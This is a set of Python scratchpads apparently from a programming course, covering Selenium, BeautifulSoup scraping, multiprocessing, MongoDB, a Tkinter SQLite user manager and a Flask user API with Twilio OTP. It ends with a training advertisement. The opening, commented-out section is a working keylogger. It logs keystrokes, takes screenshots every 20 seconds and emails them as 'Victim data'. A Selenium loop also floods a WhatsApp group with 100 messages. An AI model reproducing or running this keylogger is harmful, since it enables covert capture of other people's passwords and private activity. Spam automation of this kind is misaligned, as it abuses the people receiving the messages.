#                 if k.find("space") > 0:
#                     f.write(" ")
#                 elif k.find("cap_lock") > 0:
#                     f.write("<CAP_LOCK>")
#                 elif k.find("enter") > 0:
#                     f.write("\n")
#                 elif k.find("Key") == -1:
#                     f.write(k)

#     def on_release(key):
#         if key == Key.esc:
#             return False

#     def take_screenshot():
#         screen = pyautogui.screenshot()
#         screen.save("screenshot.png")

#     def send_email():
#         receiver_email = ""
#         subject = f"Victim data - {datetime.now().strftime('%d-%m-%Y :: %H:%M:%S')}"
#         yag = yagmail.SMTP("", "")
#         contents = ["<b><font color='red'>Your VICTIM data</font></b>"]
#         attachments=['log.txt', 'screenshot.png']
#         yag.send(receiver_email, subject, contents, attachments)
#         print("Email sent")

#     with Listener(on_press=on_press, on_release=on_release) as listener:
#         while True:
#             sleep(20)
#             take_screenshot()
#             send_email()
#         listener.join()

# except KeyboardInterrupt:
#     print("Program Closed")


# from datetime import datetime
# import threading
# import multiprocessing

# def dummy_func(x):
#     print(f"Job-{x} started: {datetime.now()}")
#     a = []
#     for i in range(40000):
#         for j in range(2000):
#             a.append([i, j])
#             a.clear()
#     print(f"Job-{x} ended: {datetime.now()}")

# # start_time = datetime.now()
# # dummy_func(1)
# # dummy_func(2)
# # dummy_func(3)
# # dummy_func(4)
# # print(f"Total time taken: {datetime.now() - start_time}")

# if __name__ == "__main__":
#     # t1 = threading.Thread(target=dummy_func, args=(1,))
#     # t2 = threading.Thread(target=dummy_func, args=(2,))
#     # t3 = threading.Thread(target=dummy_func, args=(3,))
#     # t4 = threading.Thread(target=dummy_func, args=(4,))

#     # start_time = datetime.now()
#     # t1.start()
#     # t2.start()
#     # t3.start()
#     # t4.start()
#     # t1.join()
#     # t2.join()
#     # t3.join()
#     # t4.join()
#     # print(f"Total time taken: {datetime.now() - start_time}")

#     p1 = multiprocessing.Process(target=dummy_func, args=(1,))
#     p2 = multiprocessing.Process(target=dummy_func, args=(2,))
#     p3 = multiprocessing.Process(target=dummy_func, args=(3,))
#     p4 = multiprocessing.Process(target=dummy_func, args=(4,))

#     start_time = datetime.now()
#     p1.start()
#     p2.start()
#     p3.start()
#     p4.start()
#     p1.join()
#     p2.join()
#     p3.join()
#     p4.join()
#     print(f"Total time taken: {datetime.now() - start_time}")

# -----------------------------

# from selenium import webdriver
# from selenium.webdriver.common.keys import Keys
# from selenium.webdriver.common.by import By
# from time import sleep

# browser = webdriver.Chrome("chromedriver.exe")

# sleep(30)

Scratchpad #16

# # from selenium import webdriver
# # from selenium.webdriver.common.keys import Keys
# # from selenium.webdriver.common.by import By

# # from time import sleep

# # browser = webdriver.Chrome()
# # browser.maximize_window()

# # browser.get("https://www.youtube.com/")
# # sleep(3)

# # search_box = browser.find_element(By.XPATH, "/html/body/ytd-app/div[1]/div/ytd-masthead/div[4]/div[2]/ytd-searchbox/form/div[1]/div[1]/input")
# # search_box.click()

# # search_box.send_keys("omg 2 trailer", Keys.ENTER)
# # sleep(3)

# # video = browser.find_element(By.PARTIAL_LINK_TEXT, "OMG 2 - Official Teaser")
# # video.click()

# # sleep(3)

# # browser.back()

# # # video = browser.find_element(By.XPATH, "/html/body/ytd-app/div[1]/ytd-page-manager/ytd-search/div[1]/ytd-two-column-search-results-renderer/div/ytd-section-list-renderer/div[2]/ytd-item-section-renderer/div[3]/ytd-video-renderer[1]/div[1]/div/div[1]/div/h3/a/yt-formatted-string")
# # # video.click()

# # sleep(10)


# from selenium import webdriver
# from selenium.webdriver.common.keys import Keys
# from selenium.webdriver.common.by import By

# from time import sleep
# from random import choice

# times = [1,4,8,3,3]

# browser = webdriver.Chrome()
# browser.maximize_window()

# browser.get("https://web.whatsapp.com/")
# sleep(20)

# search_box = browser.find_element(By.XPATH, "/html/body/div[1]/div/div/div[4]/div/div[1]/div/div/div[2]/div/div[1]/p")
# search_box.click()
# sleep(1)

# search_box.send_keys("PYTHON Sunday RS 16/4/23", Keys.ENTER)
# sleep(2)

# for _ in range(100):
#     message_box = browser.find_element(By.XPATH, "/html/body/div[1]/div/div/div[5]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]/p")
#     message_box.click()
#     message_box.send_keys("Test message", Keys.ENTER)


# sleep(10)

# data = """
# <html>
#     <head>
#         <title>My Webapp</title>
#     </head>
#     <body>
#         <h1>Hello World</h1>
#         <div class="data-area">
#             <p>
#                 Lorem ipsum dolor sit <strong>amet consectetur</strong> adipisicing
#                 elit. Minus voluptatem eum aut! Nulla, quae assumenda nam optio corporis
#                 eos cupiditate dolorum quia eligendi, hic totam maxime saepe
#                 repudiandae! Reiciendis, nesciunt?
#             </p>
#             <p class="hello">
#                 Lorem ipsum dolor sit
#                 <a href="https://google.com">amet consectetur</a> adipisicing elit.
#                 Nemo, enim.
#             </p>
#             <p class="hello">Test message</p>
#             <ul>
#                 <li id="special">Lorem ipsum dolor sit amet.</li>
#                 <li>Lorem ipsum dolor sit amet.</li>
#                 <li>Lorem ipsum dolor sit amet.</li>
#             </ul>
#         </div>
#     </body>
# </html>
# """

# from bs4 import BeautifulSoup

# soup = BeautifulSoup(data, "html.parser")

# print(type(soup))
# print(soup.body.h1)
# print(soup.find("li"))
# print(soup.find_all("li"))

# print(soup.find(id="special"))
# print(soup.find_all(class_="hello"))

# print(soup.find_all(class_="hello")[1].get_text())
# print(soup.find("a").get_text())
# print(soup.find("a")["href"])

import requests
from bs4 import BeautifulSoup
from csv import writer

response = requests.get("https://arstechnica.com/")

soup = BeautifulSoup(response.text, "html.parser")

articles = soup.find_all(class_="article")

with open("articles.csv", "w", newline="") as file:
    csv_writer = writer(file)
    csv_writer.writerow(["Title", "Excerpt", "Author", "Date", "Link"])

    for article in articles:
        title = article.find("h2").get_text()
        excerpt = article.find(class_="excerpt").get_text()
        author = article.find("span").get_text()
        date = article.find("time").get_text()
        link = article.find("a")["href"]

        csv_writer.writerow([title, excerpt, author, date, link])
        # print(title)
        # print(excerpt)
        # print(author)
        # print(date)
        # print(link)
        # print()

Scratchpad #17

import pymongo

client = pymongo.MongoClient()
mydb = client["mydb"] # db
users = mydb["users"] # coll

# user = {
#     "name": "Jack Smith",
#     "email": "jack@gmail.com",
#     "age": 40
# }

# users.insert_one(user)

# new_user = {
#     "name": "Jane Smith",
#     "email": "janesmith@gmail.com",
#     "age": 25
# }

# users.insert_one(new_user)

# all_users = users.find()

# for user in all_users:
#     print(user)

# john_doe = users.find_one({"name": "John Doe"})

# print(john_doe)

# users.delete_one({"name": "John Doe"})

# result = users.find({"age": {"$gte": 28, "$lte": 40}})

# for user in result:
#     print(user)

# -----------------------------------------------------------

from tkinter import *
from tkinter import ttk
from tkinter import messagebox
import sqlite3

class UserManagementSystem:
    def __init__(self, master):
        self.master = master
        self.master.title("User Management System")

        self.name_label = Label(master, text="Name:")
        self.name_label.grid(row=0, column=0, padx=5, pady=5)
        self.name_entry = Entry(master, width=30)
        self.name_entry.grid(row=0, column=1, padx=5, pady=5)

        self.email_label = Label(master, text="Email:")
        self.email_label.grid(row=1, column=0, padx=5, pady=5)
        self.email_entry = Entry(master, width=30)
        self.email_entry.grid(row=1, column=1, padx=5, pady=5)

        self.phone_label = Label(master, text="Phone:")
        self.phone_label.grid(row=2, column=0, padx=5, pady=5)
        self.phone_entry = Entry(master, width=30)
        self.phone_entry.grid(row=2, column=1, padx=5, pady=5)

        self.add_button = Button(master, text="Add User", command=self.add_user)
        self.add_button.grid(row=3, column=0, padx=5, pady=5)

        self.update_button = Button(master, text="Update User", command=self.update_user)
        self.update_button.grid(row=3, column=1, padx=5, pady=5)

        self.delete_button = Button(master, text="Delete User", command=self.delete_user)
        self.delete_button.grid(row=3, column=2, padx=5, pady=5)

        self.table = ttk.Treeview(master, columns=("id", "name", "email", "phone"), show="headings")
        self.table.heading("id", text="ID")
        self.table.heading("name", text="Name")
        self.table.heading("email", text="Email")
        self.table.heading("phone", text="Phone")
        self.table.column("id", width=30)
        self.table.column("name", width=150)
        self.table.column("email", width=150)
        self.table.column("phone", width=100)
        self.table.grid(row=4, column=0, columnspan=3, padx=5, pady=5)

        self.display_users()

    def add_user(self):
        name = self.name_entry.get()
        email = self.email_entry.get()
        phone = self.phone_entry.get()

        if name == "" or email == "" or phone == "":
            messagebox.showerror("Error", "Please enter all fields")
        else:
            conn = sqlite3.connect("users.db")
            cursor = conn.cursor()
            cursor.execute("INSERT INTO User (name, email, phone) VALUES (?, ?, ?)", (name, email, phone))
            conn.commit()
            conn.close()

            self.name_entry.delete(0, END)
            self.email_entry.delete(0, END)
            self.phone_entry.delete(0, END)

            self.display_users()

            messagebox.showinfo("Success", "User added successfully")

    def update_user(self):
        selected_user = self.table.focus()
        if selected_user:
            name = self.name_entry.get()
            email = self.email_entry.get()
            phone = self.phone_entry.get()

            if name == "" or email == "" or phone == "":
                messagebox.showerror("Error", "Please enter all fields")
            else:
                conn = sqlite3.connect("users.db")
                cursor = conn.cursor()

                # Get the ID of the selected user
                user_id = self.table.item(selected_user)["values"][0]

                # Update the user in the data
                cursor.execute("UPDATE User SET name=?, email=?, phone=? WHERE id=?", (name, email, phone, user_id))
                conn.commit()
                conn.close()

                self.name_entry.delete(0, END)
                self.email_entry.delete(0, END)
                self.phone_entry.delete(0, END)

                self.display_users()

                messagebox.showinfo("Success", "User updated successfully")
        else:
            messagebox.showerror("Error", "Please select a user to update")

    def delete_user(self):
        selected_user = self.table.focus()

        if selected_user:
            confirmation = messagebox.askyesno("Confirmation", "Are you sure you want to delete this user?")
            if confirmation:
                conn = sqlite3.connect("users.db")
                cursor = conn.cursor()

                # Get the ID of the selected user
                user_id = self.table.item(selected_user)["values"][0]

                cursor.execute("DELETE FROM User WHERE id=?", (user_id,))
                conn.commit()
                conn.close()

                self.display_users()
                messagebox.showinfo("Success", "User deleted successfully.")
        else:
            messagebox.showerror("Error", "Please select a user to delete")

    def display_users(self):
        # Clear the table first
        for record in self.table.get_children():
            self.table.delete(record)

        conn = sqlite3.connect("users.db")
        cursor = conn.cursor()
        cursor.execute("SELECT * FROM User")
        rows = cursor.fetchall()

        for row in rows:
            self.table.insert("", END, values=row)

        conn.close()


root = Tk()
user_management_system = UserManagementSystem(root)
root.mainloop()

Scratchpad Flask App

from flask import Flask, request, jsonify
from pymongo import MongoClient
from bson import ObjectId
from twilio.rest import Client
import random

app = Flask(__name__)
client = MongoClient()
db = client["pyusers_db"]
collection = db["users"]

# Twilio Credentials
account_sid = ""
auth_token = ""
twilio_phone_number = ""

twilio_client = Client(account_sid, auth_token)

# Generate a random OTP
def generate_otp():
    return str(random.randint(1000, 9999))

@app.route("/")
def home():
    return "API is running..."

# Create a new user document
@app.route("/users", methods=["POST"])
def create_user():
    data = request.json
    otp = generate_otp()
    message = f"Your OTP for user registration is: {otp}"
    twilio_client.messages.create(to=data["phone"], from_=twilio_phone_number, body=message)
    data["otp"] = int(otp)
    result = collection.insert_one(data)
    return {"id": str(result.inserted_id)}, 201


# Verify the OTP and update the user record
@app.route("/users/verify_otp/<id>", methods=["POST"])
def verify_otp(id):
    data = request.json
    user = collection.find_one({"_id": ObjectId(id)})
    if user is None:
        return {"message": "User not found"}, 404
    if user.get("verified", False):
        return {"message": "User already verified"}, 400
    if user["otp"] != int(data["otp"]):
        return {"message": "Invalid OTP"}, 400

    result = collection.update_one({"_id": ObjectId(id)}, {
        "$set": {"verified": True},
        "$unset": {"otp": ""}
    })
    if result.modified_count == 0:
        return {"message": "User already verified"}, 404
    return {"message": "User verified"}, 200

# Get all user documents
@app.route("/users", methods=["GET"])
def get_all_users():
    data = list(collection.find())
    for user in data:
        user["_id"] = str(user["_id"])
    return jsonify(data)


# Get a single user document by ID
@app.route("/users/<id>", methods=["GET"])
def get_user(id):
    data = collection.find_one({"_id": ObjectId(id) })
    if data is None:
        return {"message": "User not found"}, 404
    data["_id"] = str(data["_id"])
    return jsonify(data)


# Update a user document by ID
@app.route("/users/<id>", methods=["PUT"])
def update_user(id):
    data = request.json
    result = collection.update_one({"_id": ObjectId(id)}, {"$set": data})
    if result.modified_count == 0:
        return {"message": "User not found"}, 404
    return {"message": "User updated"}, 200


# Delete a user document by ID
@app.route("/users/<id>", methods=["DELETE"])
def delete_user(id):
    result = collection.delete_one({"_id": ObjectId(id)})
    if result.deleted_count == 0:
        return {"message": "User not found"}, 404
    return {"message": "User deleted"}, 200

if __name__ == "__main__":
    app.run(debug=True)
Learn this on the racks

Reading it is one thing. Configuring it is another.

Our batches run labs like this one end to end on real kit, in the Mumbai classroom or live online, taught by practicing engineers.